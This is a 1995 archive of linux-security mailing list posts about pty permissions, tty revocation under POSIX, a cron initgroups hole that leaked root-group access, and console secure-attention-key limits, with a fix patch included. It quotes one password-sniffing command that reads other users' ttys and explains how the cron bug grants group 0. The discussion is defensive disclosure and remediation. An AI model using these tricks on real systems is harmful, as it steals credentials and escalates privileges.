Cc: "Theodore Ts'o" , [email protected] In-Reply-To: Adrian Miranda's message of Thu, 21 Sep 95 08:57 PDT, Subject: Re: Problem with /dev/ttyp* Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 878 Sender: [email protected] Precedence: list Date: Thu, 21 Sep 95 08:57 PDT From: Adrian Miranda I don't seem to have any docs on what vhangup does on 4.3BSD, but the linux manual page says it simulates a hangup, which presumably would just mean sending a SIGHUP, which could be ignored by a rogue process. I thought even on BSD a program could ignore it if it wanted to. Does it kill absolutely everything that has the device open? For security, I believe we need to do kill -9 on anything that has the device open. It simulates a modem disconnect, which as defined by POSIX 7.1.1.10 revokes access to the tty from all existing file descriptors. I.e., reads return EOF, writes return EIO. Of course, if the modes on the tty aren't fixed, a process can immediately open the tty again --- which is why you need to chmod the tty before doing the vhangup(). - Ted From [email protected] Sat Sep 23 19:24:36 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA07817; Sat, 23 Sep 1995 18:57:38 -0400 Received: from red.aa.net ([email protected] [204.157.221.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id MAA30222; Thu, 21 Sep 1995 12:50:24 -0400 Received: (from baron@localhost) by red.aa.net (8.6.12/8.6.9) id JAA20990; Thu, 21 Sep 1995 09:48:54 -0700 Date: Thu, 21 Sep 1995 09:48:51 -0700 (PDT) From: Joe Portman To: Adrian Miranda cc: [email protected], [email protected] Subject: Re: Problem with /dev/ttyp* In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 20 Sep 1995, Adrian Miranda wrote: > I don't think this will work if the rogue process already has the tty > open before you do the chmod. An "fuser -k" on the device after you > do the chmod seems to be pretty effective, though probably not > perfect. Actually, doing an "fuser -k" seems particularly useful on > Linux, since Linux seems highly prone to leaving processes lying > around on ptys after someone logs out, especially if their session > ends in an abnormal fashion. I think I've seen this on most/all Unix > systems, but Linux seems worse, perhaps because (I'm told) it only > sends a SIGHUP to the process group leader when someone disconnects > unexpectedly. fuser has been broken for many kernel revisions now. It will not work on ttys (or other files for that matter). Has anybody got a working version of fuser for 1.2.8 or later? Thanks, ----------------------------------------------------------------------------- Joe Portman - Alternate Access Inc. Affordable, Reliable Internet [email protected] Mercer Island: (206) 230-8732 Seattle: (206) 443-3408 Tacoma: (206) 927-6010 Federal Way: (206) 838-8457 Bellevue: (206) 455-8414 For free trial account: set modem to 8-n-1, login as "new" For questions or support, call our voice line (206) 728-9585. ----------------------------------------------------------------------------- From [email protected] Sat Sep 23 19:24:34 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA07902; Sat, 23 Sep 1995 19:11:44 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id PAA31053; Thu, 21 Sep 1995 15:30:51 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA06514; Thu, 21 Sep 95 15:30:28 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA24654; Thu, 21 Sep 1995 15:30:40 -0400 Date: Thu, 21 Sep 1995 15:30:40 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: Malcolm Beattie Cc: [email protected] In-Reply-To: Malcolm Beattie's message of Thu, 21 Sep 1995 10:52:49 +0000 (BST), <[email protected]> Subject: Re: Problem with /dev/ttyp* Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 1445 Sender: [email protected] Precedence: list From: Malcolm Beattie Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) Surely if it's done the POSIX way then you don't need vhangup? The login process should become a session leader with setsid() and then acquire a pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's done that, processes in any other session that try to read from/write to that terminal should get EOF on reads and EIO on writes (7.1.1.10). But POSIX doesn't specify that. Section 7.1.1.10 applies when a modem disconnect is detected by the terminal interface for a controlling terminal. 7.1.1.3 states that how a process can acquire a controlling terminal is "implementation defined" --- it MAY happen if the a process is a session leader and doesn't otherwise have a controlling terminal, but it's not guaranteed to. In any case, nowhere in POSIX is it specified that access to the tty is revoked (as in a hangup) to other processes after it is acquired as a controlling terminal by a session loeader. If you think there is such a statement, please point it out to me; I've spent a lot of time studying the POSIX.1 (1990) specification while I was implementing POSIX job control for Linux, many years back, and I never ran into anything like that. It's possible that I missed it, though; so if you can point me at the POSIX chapter and verse where this is actually claimed, I'd appreciate it. - Ted From [email protected] Sat Sep 23 19:24:38 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id SAA07805; Sat, 23 Sep 1995 18:53:44 -0400 Received: from yage.tembel.org ([email protected] [206.43.170.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id MAA30171; Thu, 21 Sep 1995 12:47:53 -0400 Received: by yage.tembel.org (Smail3.1.29.1 #9) id m0svomN-000DcvC; Thu, 21 Sep 95 16:47 GMT Message-Id: From: [email protected] (Michael Shields) Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) To: [email protected] (Aleph One) Date: Thu, 21 Sep 1995 16:47:18 +0000 (GMT) Cc: [email protected], [email protected], [email protected] In-Reply-To: from "Aleph One" at 1995-09-20 20:43:25 X-Dogma: Microsoft is not the answer. Microsoft is the question. No is the answer. MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Content-Length: 1737 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- It's also a functionality bug because it prevents you from running jobs that need sroup permissions you normally have. I fixed it a year ago and think I reported it then, but didn't think of it as a security hole. Here is a patch: Index: c.s.u/vixie-cron/do_command.c --- c.s.u/vixie-cron/do_command.c:1.1.1.2 Mon Jun 13 21:41:44 1994 +++ c.s.u/vixie-cron/do_command.c Thu Sep 29 01:24:51 1994 @@ -207,7 +207,7 @@ * we set uid, we've lost root privledges. */ setgid(e->gid); -# if defined(BSD) +# if defined(BSD) || defined(linux) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif setuid(e->uid); /* we aren't root after this... */ > Anyone know anything more? > > Aleph One / [email protected] > http://underground.org/ > KeyID 1024/948FD6B5 > Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 > > ---------- Forwarded message ---------- > Date: Thu, 21 Sep 95 01:58 BST > From: Ian Jackson > To: Debian package announcements > Subject: cron 3.0pl1-20: URGENT SECURITY FIX > > There is a major security hole in cron 3.0pl1-19 and earlier, allowing > any user to gain access to the `root' group. On many (most?) systems > this will quickly allow them to gain superuser access. > [...] > > cron (3.0pl1-20); priority=URGENT > > * cron now uses initgroups when running jobs. Bug#1400. AARGH! - -- Shields. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMGGWseyjYMb1RsVfAQHwJAP/doSODO49ZrtdhRW300b8VEWUFS93qXHH WDi3LbL7AcCV3+Usos53HDutXTDEspBXnjFbtqtzKNKHLKn/qC4TPeE72B1EVnYb 0WBSf9ulUdjlR6P3alhKWR7D1IC24wxTRbz5A0jeUNIUR531IA7t/Uk9Otw8ElSH JwTcJUp6VVg= =lMnn -----END PGP SIGNATURE----- linux-security/1995/linux-security.950924100664 1767 1767 4020 6031275242 17233 0ustar majdommajdomFrom [email protected] Sun Sep 24 11:34:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA14710; Sun, 24 Sep 1995 11:24:43 -0400 Received: from bach.cis.temple.edu ([email protected] [155.247.182.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id JAA14366; Sun, 24 Sep 1995 09:18:21 -0400 Received: (from alex@localhost) by bach.cis.temple.edu (8.6.12/8.6.9) id JAA16297; Sun, 24 Sep 1995 09:26:58 -0400 Date: Sun, 24 Sep 1995 09:26:58 -0400 (EDT) From: alex To: Linux Security Mailing List cc: Jeff Uphoff , Olaf Kirch , Russ DeFlavia , [email protected], John Fowler , [email protected], [email protected] Subject: SENDMAIL 8.7 SECURITY ALERT Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list **************** PLEASE DO NOT REPLY TO EVERYBODY IN THE CC' LIST WHILE **************** REPLYING TO THIS MESSAGE Accoring to CERT Coordinator Sendmail 8.7 released during LISA'9 re-introduces old stack overflow security bug. The bug was discovered within 2 hours after 8.7 was released. From what I know, there is no CERT advisory about it yet. Best wishes, Alex ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA PGP Key: 1024/ADF3EE95 Fingerprint: AB4FE7382C3627BC 6934EC2A2C05AB62 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= linux-security/1995/linux-security.950925100664 1767 1767 30046 6031640717 17266 0ustar majdommajdomFrom [email protected] Mon Sep 25 11:39:21 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA19881; Mon, 25 Sep 1995 11:03:33 -0400 Received: from miranda.uwaterloo.ca ([email protected] [129.97.130.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id BAA18164; Mon, 25 Sep 1995 01:32:18 -0400 Received: (from zblaxell@localhost) by miranda.uwaterloo.ca (8.6.10/8.6.9) id BAA03495; Mon, 25 Sep 1995 01:30:38 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: Problem with /dev/ttyp* To: [email protected] Date: Mon, 25 Sep 1995 01:30:37 -0400 (EDT) Cc: [email protected], [email protected], [email protected] Reply-To: [email protected] In-Reply-To: <[email protected]> from "Florian La Roche" at Sep 20, 95 01:46:01 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1550 Sender: [email protected] Precedence: list Quoted from Florian La Roche: > The real problem is getty_ps, which has still a "chmod 666" in it, so that the That's a bug. I found that months ago, and reported it to the author (there's also a 'chown' that can be fooled by symlinks). (sigh, that's like the fifth bug I found a year ago that's still floating around everywhere. Maybe what Linux needs is a good solid WWW-accessible bug database, if only so that developers can stop making the same mistakes over and over again, and so distribution maintainers can stop compiling binaries with the same bugs over and over again). > time, people can start that "cat /dev/tty..." is pretty long. > Fixing that, will give you a very short amount of time to do this. > But you are right, that also telnetd should be changed to not do a > "chmod 666" on exit. It should be "chmod 600" in my opinion. If you do this, then emacs, script, term, and friends won't be able to get pty services in programs. Not that this is a bad thing, though; they will certainly not be able to use the pty's securely if just anyone can open them. -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. "I was finding holes in Netscape long ago; serious bugs any wannabe could exploit. But now that _everyone_ is doing it, it's just not _cool_ any more." From [email protected] Mon Sep 25 11:39:24 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA19902; Mon, 25 Sep 1995 11:09:25 -0400 Received: from bootes.cus.cam.ac.uk ([email protected] [131.111.8.1]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id WAA17541; Sun, 24 Sep 1995 22:04:09 -0400 Received: by bootes.cus.cam.ac.uk (Smail-3.1.29.0 #36) id m0sx2tj-000BzhC; Mon, 25 Sep 95 03:03 BST Received: by chiark id (Debian /\oo/\ Smail3.1.29.1 #29.33); Mon, 25 Sep 95 03:08 BST Message-Id: Date: Mon, 25 Sep 95 03:08 BST From: Ian Jackson To: Aleph One , [email protected] Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX Sender: [email protected] Precedence: list Aleph One writes (in email to me, which I hope he won't mind me quoting): > Ian I been looking into this to make an ALERT and send it out on the > linux-alert and linux-security lists. Yet for all my tests under > slackware and debian all I can see is that the fact that initgroups is > not being called is that certain software may not work because all of it > groups are not loaded. Could you explain why you belive this is a > security problem? Running id and groups from a non-root crontab showed no > strange groups or ids. Most crons run with a supplementary groups list that contains one entry, for the group `0'. If this is not reset then the users can access files which are readable/writeable by group `0' even if they are not members of the group (and make things setgid to `0' or whatever). Aleph One writes ("cron 3.0pl1-20: URGENT SECURITY FIX (fwd)"): > Anyone know anything more? > - ---------- Forwarded message ---------- > Date: Thu, 21 Sep 95 01:58 BST > From: Ian Jackson > To: Debian package announcements > Subject: cron 3.0pl1-20: URGENT SECURITY FIX It would have been a good idea to read some of the other traffic I sent to the Debian lists about this, or to mail me asking for information, rather than asking linux-security. [Mod: I posted Aleph's message to linux-security mainly because he was forwarding your announcement, which was the first word we'd heard in this form regarding the issue. The question that he was asking ("Anyone know anything more?") was really secondary... --Jeff.] do_command.c in Vixie-Cron 3.0pl1 contains the code: # if defined(BSD) initgroups(env_get("LOGNAME", e->envp), e->gid); # endif If compiled naively this will omit the initgroups call under Linux, and so users will not have their cron jobs' supplementary groups set correctly. As noted above, this can allow users access to group `0' when they should not be allowed it. (On my system, for example, this would get them root access quite easily.) The message you quoted was my announcement to debian-changes of the fixed Debian binary and source packages. Both of those are available from ftp.debian.org and its mirror sites, in binary/admin/cron-3.0pl1-20.deb and source/admin/cron-3.0pl1-20.tar.gz respectively. -19.deb and -19.tar.gz are the old, broken versions. All Debian users should upgrade immediately in the standard way (type `dpkg --install cron-3.0pl1-20.deb'). I don't know whether Slackware's cron is vulnerable. Debian's cron is probably unsuitable for use on Slackware because of different conventions about uid-numbering; also, Slackware's cron probably has a slightly different layout for the cron jobs (Debian is frequently more FSSTND-compliant than Slackware). Ian. From [email protected] Mon Sep 25 11:39:32 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA19914; Mon, 25 Sep 1995 11:10:08 -0400 Received: from miranda.uwaterloo.ca ([email protected] [129.97.130.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id VAA17518; Sun, 24 Sep 1995 21:59:58 -0400 Received: (from zblaxell@localhost) by miranda.uwaterloo.ca (8.6.10/8.6.9) id VAA29266; Sun, 24 Sep 1995 21:58:10 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: cron 3.0pl1-20: URGENT SECURITY FIX (fwd) To: [email protected] (Michael Shields) Date: Sun, 24 Sep 1995 21:58:08 -0400 (EDT) Cc: [email protected], [email protected], [email protected], [email protected] In-Reply-To: from "Michael Shields" at Sep 21, 95 04:47:18 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1907 Sender: [email protected] Precedence: list Quoted from Michael Shields: > -----BEGIN PGP SIGNED MESSAGE----- > > It's also a functionality bug because it prevents you from running jobs > that need sroup permissions you normally have. I fixed it a year ago and > think I reported it then, but didn't think of it as a security hole. > > Date: Thu, 21 Sep 95 01:58 BST > > From: Ian Jackson > > To: Debian package announcements > > Subject: cron 3.0pl1-20: URGENT SECURITY FIX > > > > There is a major security hole in cron 3.0pl1-19 and earlier, allowing > > any user to gain access to the `root' group. On many (most?) systems > > this will quickly allow them to gain superuser access. Actually, this gives you access to all of the groups that root belongs to, if I remember the bug correctly (hmmm...sure 'nough, in my build logs for cron, a patch for it is listed as a 'portability' bug, not a 'security' bug. Oops). A cute workaround: remove root from all groups in /etc/group. This should break absolutely nothing. (think about it: why does 'root' need access to a group anyway?). Also configure your system so that group 'root' doesn't buy you anything (something that people who have to use NFS should be familiar with anyway; the same problem (and worse) affects NFS). Many other programs (most notably any perl script) don't handle initgroups properly. The workaround above fixes these other programs as well. -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. "I was finding holes in Netscape long ago; serious bugs any wannabe could exploit. But now that _everyone_ is doing it, it's just not _cool_ any more." From [email protected] Mon Sep 25 19:56:57 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id TAA22967; Mon, 25 Sep 1995 19:42:10 -0400 Received: from miranda.uwaterloo.ca ([email protected] [129.97.130.5]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id EAA01257; Fri, 22 Sep 1995 04:17:28 -0400 Received: (from zblaxell@localhost) by miranda.uwaterloo.ca (8.6.10/8.6.9) id EAA09848; Fri, 22 Sep 1995 04:16:33 -0400 From: Zygo Blaxell Message-Id: <[email protected]> Subject: Re: console security (was Re: problem with selection)h To: [email protected] (Kenneth J. Hendrickson) Date: Fri, 22 Sep 1995 04:16:32 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Kenneth J. Hendrickson" at Sep 2, 95 06:23:27 am X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1568 Sender: [email protected] Precedence: list Quoted from Kenneth J. Hendrickson: > > Zygo Blaxell writes: > >Console security really sucks on Linux. > > If anybody is sitting at the console they can do anything they want on > any of the virtual console terminals anyway. In addition, there can be > no security once access to physical hardware is possible. Neither of these statements is necessarily true. If you are sitting at my console, and you do not have a screwdriver, there is very little you can do with it. The same is true of any Linux-based public workstation. > Why put effort into fixing what can't be fixed? Most Unix consoles are pretty secure. You can be assured that after asserting DCD low followed by DCD high, for instance, that a serial console is now presenting you with a real login prompt, not a program the previous user left running. You can be assured that your console is not being monitored, and will not be interfered with during the lifetime of your session. You can assume that the keyboard keys have some default mapping. And, on better consoles, you can hit a key which assures that the console is now irretrievably disconnected from whatever processes are currently running on it. None of these are true for Linux; hence Linux console security sucks. [mod: Linux has had the secure attention key for a very long time; it can be enabled using setserial. Is there any indication that it doesn't work? --okir] -- Zygo Blaxell, former sysadmin and software/hardware guru for the University of Waterloo Computer Science Club; current sysadmin for miranda.uwaterloo.ca and Myrus Design, Inc. 10th place team, ACM Programming Contest International Finals 1994. Will administer Unix (esp. Linux) for warm clothing or anime. linux-security/1995/linux-security.950927100664 1767 1767 5325 6032312002 17232 0ustar majdommajdomFrom [email protected] Wed Sep 27 14:12:11 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id NAA04032; Wed, 27 Sep 1995 13:30:06 -0400 Received: from cyber.ict.pwr.wroc.pl ([email protected] [156.17.9.30]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id KAA06394; Sat, 23 Sep 1995 10:18:52 -0400 Received: (from tsurmacz@localhost) by cyber.ict.pwr.wroc.pl (8.6.10/ts-AeIU.2) id QAA00702 for [email protected]; Sat, 23 Sep 1995 16:19:03 +0200 >Received: from ts@localhost by papaja (8.6.10/8.6.9-ts-apk) id BAA00544 for [email protected]; Thu, 21 Sep 1995 01:39:28 +0200 From: Tomasz Surmacz Message-Id: <[email protected]> Subject: Re: Problem with /dev/ttyp* To: [email protected] Date: Thu, 21 Sep 1995 01:39:26 +0200 (MET DST) Organization: Just me at home X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1696 Sender: [email protected] Precedence: list Perry Francis Nguyen wrote: > On Tue, 19 Sep 1995, Joe Portman wrote: > > > I just discovered a user sniffing passwords by doing the following on > > my system. > > Kernel 1.2.11 > > > cat /dev/ttyp? & [...] > The only effective way I've found to prevent this from happening is to > rewrite /bin/login to chmod() the tty to mode 600 before reading the > username/password and then chowning the tty to the owner.tty and then > mode 620. > > I've so far seen no other possible way around this problem. Forcing a > default permission of 660 root.tty broke many applications that > cannot/will not run setuid, ie. splitvt, cmdtool, ytalk, etc. anything > that uses a pty. Use ssh/sshd (secure shell) package. This replaces rshd, rlogind and telnetd doing its own host and user authorization. First the hosts must identify themselves by exchanging their public keys, then the user keys are checked, or the .shosts or .rhosts file, and if none of these methods grants access, the user is asked for password LOCALLY, which then gets encrypted, and sent through the network to the server for validation. It is not possible this way to intercept any connection tty sniffing. I am not sure now where the sshd package can be found (MOST probably in ftp.funet.fi:/pub/ssh, but I am not sure and cannot check it at the moment). It is still in development though, but I am using it for at least 2 months and it seems good and reliable. Tomasz -- _________ (_ _' __) Tomasz R. Surmacz * Work:(071)202489, [email protected] | (__ \ http://www.ict.pwr.wroc.pl/~tsurmacz/ Home: [email protected] |__(____/ For PGP key finger [email protected] *----* irc: TomekS linux-security/1995/linux-security.950928100664 1767 1767 35227 6032603117 17271 0ustar majdommajdomFrom [email protected] Thu Sep 28 00:42:52 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA07863; Thu, 28 Sep 1995 00:39:54 -0400 Received: from charon.cwi.nl (charon.cwi.nl [192.16.184.142]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id FAA29508; Tue, 26 Sep 1995 05:26:21 -0400 Received: from zeus.cwi.nl by charon.cwi.nl with SMTP id ; Tue, 26 Sep 1995 10:26:15 +0100 Received: by zeus.cwi.nl id ; Tue, 26 Sep 1995 10:26:15 +0100 Date: Tue, 26 Sep 1995 10:26:15 +0100 From: [email protected] Message-Id: <[email protected]> To: [email protected] Subject: Re: console security Sender: [email protected] Precedence: list Zygo Blaxell writes: : Most Unix consoles are pretty secure. You can be assured that after : asserting DCD low followed by DCD high, for instance, that a serial : console is now presenting you with a real login prompt, not a program : the previous user left running. You can be assured that your console is : not being monitored, and will not be interfered with during the lifetime : of your session. You can assume that the keyboard keys have some : default mapping. And, on better consoles, you can hit a key which : assures that the console is now irretrievably disconnected from whatever : processes are currently running on it. : None of these are true for Linux; hence Linux console security sucks. : [mod: Linux has had the secure attention key for a very long time; it can : be enabled using setserial. Is there any indication that it doesn't : work? --okir] It does work for tty's, including the console keyboard, in the sense that it will kill all processes that have a file descriptor open on the tty or belong to the same session. Also the buffers are flushed. It does not work in several other senses, as Zygo mentioned: It does not assure a default key mapping. [How could it? Read it from a file? That is not something that belongs in the kernel, it is something that login might do. Reset to a universal default? But that probably makes the keyboard very difficult to use. A german keyboard interchanges y and z. A french keyboard interchanges a and q, and w and z. All national keyboards permute the nonletters nondigits in a random way.] It does not assure a default font. [How could it? Go back to the font in the character ROM? A possibility, but again a decision that is better taken outside the kernel.] It does not assure a default character set to font mapping. It does not assure that the console is in a useable mode. Etc. Since one is not sure of the key mapping, one doesn't know for sure that the key one presses is really the SAK. Then there is the matter of aliasing. A file descriptor to /dev/tty2 allows access to the keyboard, so killing everybody on /dev/tty1 is not enough. So, no - the SAK is not secure on the console. From [email protected] Thu Sep 28 00:42:54 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id AAA07855; Thu, 28 Sep 1995 00:37:59 -0400 Received: from sirius.legislate.com (sirius.legislate.com [192.77.155.252]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id XAA26689; Mon, 25 Sep 1995 23:34:03 -0400 Received: (from smap@localhost) by sirius.legislate.com (8.6.12/8.6.12) id XAA14767; Mon, 25 Sep 1995 23:33:28 -0400 Received: from smtpgw.legislate.com(192.77.155.253) by sirius via smap (V1.3) id sma014764; Mon Sep 25 23:33:15 1995 Received: by smtpgw.legislate.com with Microsoft Mail id <[email protected]>; Mon, 25 Sep 95 23:36:06 PDT From: "Miller, Raul D." To: [email protected] (Kenneth J. Hendrickson), [email protected] Cc: [email protected] Subject: Re: console security (was Re: problem wi Date: Mon, 25 Sep 95 23:35:00 PDT Message-ID: <[email protected]> Encoding: 22 TEXT X-Mailer: Microsoft Mail V3.0 Sender: [email protected] Precedence: list Zygo Blaxell: None of these are true for Linux; hence Linux console security sucks. Note that there's a difference between console security for users and console security for processes. For example, I may have a root session on one of the consoles, and a test session on another. Just because *I* can flip between consoles and do things as root doesn't mean that I want the test session to have that capability. [mod: Linux has had the secure attention key for a very long time; it can be enabled using setserial. Is there any indication that it doesn't work? --okir] I don't know if it works, but last time I checked the copyright on setserial prevented its free distribution. Personally, I don't think of a feature as belonging to linux if the code to enable that feature can't be distributed in the same manner as the kernel. -- Raul From [email protected] Thu Sep 28 11:25:04 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id LAA10897; Thu, 28 Sep 1995 11:14:29 -0400 Received: from oxmail3.ox.ac.uk (oxmail3.ox.ac.uk [163.1.2.9]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with ESMTP id GAA01591; Fri, 22 Sep 1995 06:46:13 -0400 Received: from sable.ox.ac.uk by oxmail3 with SMTP (PP); Fri, 22 Sep 1995 11:45:42 +0100 Received: (from mbeattie@localhost) by sable.ox.ac.uk (1.5/8.6.12) id LAA26449; Fri, 22 Sep 1995 11:45:53 +0100 From: Malcolm Beattie Message-Id: <[email protected]> Subject: Re: Problem with /dev/ttyp* To: [email protected] (Theodore Ts'o) Date: Fri, 22 Sep 1995 11:45:53 +0000 (BST) Cc: [email protected] In-Reply-To: <[email protected]> from "Theodore Ts'o" at Sep 21, 95 03:30:40 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 3570 Sender: [email protected] Precedence: list Theodore Ts'o writes: > > From: Malcolm Beattie > Date: Thu, 21 Sep 1995 10:52:49 +0000 (BST) > > Surely if it's done the POSIX way then you don't need vhangup? The login > process should become a session leader with setsid() and then acquire a > pseudo-terminal as controlling terminal (see POSIX 7.1.1.3). Once it's > done that, processes in any other session that try to read from/write to > that terminal should get EOF on reads and EIO on writes (7.1.1.10). > > But POSIX doesn't specify that. Section 7.1.1.10 applies when a modem > disconnect is detected by the terminal interface for a controlling > terminal. 7.1.1.3 states that how a process can acquire a controlling > terminal is "implementation defined" --- it MAY happen if the a process > is a session leader and doesn't otherwise have a controlling terminal, > but it's not guaranteed to. I was perhaps a little ambiguous when I said "should get EOF on reads...". What I meant was that the Linux kernel should behave that way (or be made to behave that way) since it seems to be "good" behaviour to do so. Before I go on, let me say I don't want to be dogmatic nor do I want to give any egg-sucking lessons to aged relatives. I thought I understood this stuff, but I may be wrong so treat me gently. I've only got POSIX 1003.1 and not .1a so if there are any differences, I'd like to know. > In any case, nowhere in POSIX is it specified that access to the tty is > revoked (as in a hangup) to other processes after it is acquired as a > controlling terminal by a session loeader. Although not required, it seems to be allowed. In the Rationale under "Implementing Job Control Systems", it mentions the vhangup() and SysV behaviour and and confirms that conforming POSIX application's shouldn't muck around with a controlling terminal after logout. Going back to 7.1.1.3: When a controlling process terminates...Subsequent access to the terminal by other processes in the earlier session may be denied, with attempts to access the terminal treated as if modem disconnect has been sensed. The rationale also says Note that, if an implementation chooses to deny access to a controlling terminal after its controlling process exits, the standard requires a certain type of behaviour (see 7.1.1.3). The "as if modem disconnect has been sensed" behaviour is defined in 7.1.1.10 and is "reads return EOF, writes return -1 with EIO". The rationale for 7.1.1.4 (sic) says that job control terminal access control if only intended for controlling terminals and not other access to terminals, but there's no equivalent rationale statement for 7.1.1.3. > If you think there is such a statement, please point it out to me; I've > spent a lot of time studying the POSIX.1 (1990) specification while I > was implementing POSIX job control for Linux, many years back, and I > never ran into anything like that. It's possible that I missed it, > though; so if you can point me at the POSIX chapter and verse where this > is actually claimed, I'd appreciate it. I know about you work on Linux, of course, which is why I'm wary about making claims which apparently contradict your feelings. What I seem to be claiming is that POSIX *allows* (rather than requires) an implementation where the acquiring of a terminal as a controlling terminal results in any other process being unable to read/write to that terminal. --Malcolm -- Malcolm Beattie Unix Systems Programmer Oxford University Computing Services From [email protected] Thu Sep 28 16:32:08 1995 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.12/8.6.9) id PAA13332; Thu, 28 Sep 1995 15:48:26 -0400 Received: from MIT.EDU (SOUTH-STATION-ANNEX.MIT.EDU [18.72.1.2]) by tarsier.cv.nrao.edu (8.6.12/8.6.9) with SMTP id NAA11619; Thu, 28 Sep 1995 13:58:56 -0400 Received: from DCL.MIT.EDU by MIT.EDU with SMTP id AA17740; Thu, 28 Sep 95 13:58:27 EDT Received: by dcl.MIT.EDU (5.0/4.7) id AA02870; Thu, 28 Sep 1995 13:58:51 -0400 Date: Thu, 28 Sep 1995 13:58:51 -0400 From: "Theodore Ts'o" Message-Id: <[email protected]> To: "Miller, Raul D." Cc: [email protected], [email protected], [email protected] In-Reply-To: [email protected]'s message of Mon, 25 Sep 95 23:35:00 PDT, <[email protected]> Subject: Re: console security (was Re: problem wi Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Content-Length: 4181 Sender: [email protected] Precedence: list From: "Miller, Raul D." Date: Mon, 25 Sep 95 23:35:00 PDT I don't know if it works, but last time I checked the copyright on setserial prevented its free distribution. Personally, I don't think of a feature as belonging to linux if the code to enable that feature can't be distributed in the same manner as the kernel. Huh? There is no copyright notice on setserial at all, mostly because I never got around to it --- it was originally such a trivial program that I never bothered. An oversight on my part; the intent was that the file be freely redistributable, and indeed it's my impression that most distributions are including it as a matter of course. This is the first that I had heard that anyone had any hangups about the copyright status of setserial; I wish people who had such concerns would contact me directly, instead of flaming publically about it. I very easily put a free redistribution notice on the file, if that what it takes to make people happy. That being said, if you look at the comments in the kernel sources regarding the SAK, you will see that I am very well aware of its shortcomings. A really correct implementation would require the help of specialized code in /etc/init, to do things like restore the default font, keymappings, etc. It turns out, though that you still can't do a perfect job, due to the brain damaged way that video modes that handled by the Linux system. That is to say, user programs are responsible for saving and restoring the contents of the video registers, *not* the kernel. 